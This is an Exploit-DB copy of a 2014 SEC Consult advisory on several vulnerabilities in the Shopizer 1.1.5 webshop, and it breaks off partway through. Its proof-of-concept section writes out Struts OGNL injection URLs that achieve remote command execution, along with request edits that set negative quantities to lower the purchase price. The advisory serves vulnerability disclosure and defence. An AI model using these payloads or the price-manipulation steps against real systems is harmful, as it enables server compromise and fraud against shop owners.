Exploit-DB #34062
Description: Shopizer 1.1.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-07-14
Author: SEC Consult

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SEC Consult Vulnerability Lab Security Advisory < 20140710-0 >
=======================================================================
              title: Multiple critical vulnerabilities in Shopizer webshop
            product: Shopizer
 vulnerable version: 1.1.5 and below
      fixed version: v2 (new codebase)
             impact: critical
           homepage: http://www.shopizer.com/
              found: 2012-01-10
                 by: Johannes Dahse, Johannes Greil
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================

Vendor description:
- -------------------
Shopizer is an open source java shopping cart and e-commerce content
management software (CMS). The system is built on Struts 2, Hibernate and
Spring. JQuery ui and ajax are heavily used on the ui as well as DWR and
Struts2-jQuery plug-in. (http://www.shopizer.com/)


Vulnerability overview/description:
- -----------------------------------
Shopizer is prone to at least the following vulnerabilities, some of them are highly
critical:

1.) Remote Command Execution

Shopizer 1.1.5 is using Apache Struts 2.2.1.1 and is thus vulnerable to Remote
Command Execution. Shopizer 1.1.3 and below is built on Apache Struts 2.1.6
and is also affected.

Fore more details please refer to:
 * https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm#a18
 * http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html

This affects the shop and admin interface (central).

2.) Manipulation of product prices

When buying products in Shopizer the product costs for a single product is
calculated by the selected quantity times the price of the product. The
total costs of all products is the adding of all product costs. An attacker
can specify negative quantities to decrease the total costs.

This affects the shop.

3.) Manipulation of customer data / mass assignment

An attacker can change the contact details of a customer by modifying the
customerId in the change request. In example this allows him to modify the
shipping address to retrieve products bought by another customer.

Furthermore, a malicious admin user (sm-central) is able to change the
passwords of other user accounts by appending a "customer.customerPassword"
HTTP parameter when saving user details. This is possible _although_ there
is no UI (form field) for this within the admin interface.

This affects the shop and admin interface (central).

4.) Cross-Site Request Forgery

Modifying customer data is also prone to CSRF attacks. Additionally, the
attacker can change customer passwords, shop configuration, product details
and product prices by sending CSRF requests to the administration interface.

This affects the shop and admin interface (central).

5.) Missing anti brute force protection

No protection against brute force attacks regarding login credentials is
implemented. Attackers can guess for weak passwords of users, as the
password policy of the shop only allows exactly between 6 and 8 characters.
The use of special chars or digits is not being enforced.

This affects the shop and admin interface (central).

6.) Cross-Site Scripting

The Shopizer Admin Interface suffers from multiple reflected XSS
vulnerabilities.



Proof of concept:
- -----------------
1.) Remote Command Execution in Struts

a) Via exception

The following URL will trigger an exception for an invalid "productId" data
type and Struts will re-evaluate the specified value as OGNL expression. An
attacker can successfully bypass security restrictions of Struts and execute
arbitrary Java code, leading to Remote Command Execution.
  /shop/product/reviews.action?product.productId=secconsult'%2b(%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'

Other numeric parameters are affected as well.

b) Via ParameterInterceptor

The following URL will store a OGNL expression in the property "search" of
type String. This OGNL expression can then be accessed by a dynamic function
call in another parameter leading to Remote Command Execution.
  /shop/search.action?search=(%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))(secconsult)&z[(search)('secconsult')]=true

  
2.) Manipulation of product prices

Assuming the shop has a product1 (300$) and a product2 (290$) for the total
costs of 590$. The following steps can be reproduced by a malicious user to
decrease the total costs when buying those products:

  a) Add product1 and product2 to the shopping cart
  b) Go to the shopping cart and press "recalculate"
  c) Intercept the ajax DWR request and modify the number reference of the
     parameter "productQuantity" for product2 to a negative value (-1):

    c0-e3=string:2
    c0-e4=number:-1
    c0-e1=Object_Object:{productId:reference:c0-e3, productQuantity:reference:c0-e4}

  d) The new costs for product2 now recalculate to: -1 x 290 = -290$
  e) the new total costs is: product1 + product2 = 300$ + (-290$) = 10$
  f) continue shopping and pay 10$ for products worth 590$.

This is especially critical for shops that only provide digital products.

Furthermore, during the second step of the checkout process it is
possible to add a negative quantity of products exploiting a Shopizer's
feature called "standalone shopping cart". This results in a negative price.
By issuing the following specially crafted request in the separate tab of
the web browser, while the first tab contains the second step of the checkout
process, the total price will be decreased. Note that the page must be
refreshed after the request to ref